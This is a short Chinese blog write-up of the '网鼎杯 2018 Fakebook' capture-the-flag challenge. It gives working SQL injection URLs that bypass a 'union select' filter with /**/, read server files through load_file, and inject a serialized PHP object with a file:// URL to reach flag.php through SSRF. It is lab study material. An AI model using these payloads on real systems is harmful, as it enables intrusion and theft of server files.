[网鼎杯 2018]Fakebook

最后更新于 2024-09-13 350 字 预计阅读时间: 2 分钟


不是,怎么sql注入过滤的是union select整体而不是union,害得我跑去写了个时间盲注脚本

进入页面注册得到

目录扫描得到

进入robots.txt得到users.php的备份文件,在get方法中存在ssrf的但是blog的格式只能由http开头并且中间不能有/导致无法直接ssrf

在view.php中可以通过no传参查看消息,存在sql注入并且过滤了union select但是可以用/**/代替空格绕过

非预期解,读取secure_file_priv看看是否为空,若为空可以直接读取flag.php

http://node4.anna.nssctf.cn:28791/view.php?no=0%20union/**/select 1,(select @@secure_file_priv),3,4 #

结果为空用load_file读取/var/www/html/flag.php

http://node4.anna.nssctf.cn:28791/view.php?no=0 union/**/select 1,load_file('/var/www/html/flag.php'),3,4 #

预期解,通过sql注入得到users表里的值

可知data应该为序列化数据,从报错可以得知应该使用data来实现view.php

故反序列化得到目标字符串O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}放在4处得到flag

http://node4.anna.nssctf.cn:28791/view.php?no=0%20union/**/select%201,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:0:%22%22;s:3:%22age%22;i:0;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27%20#

此作者没有提供个人介绍。
最后更新于 2024-09-13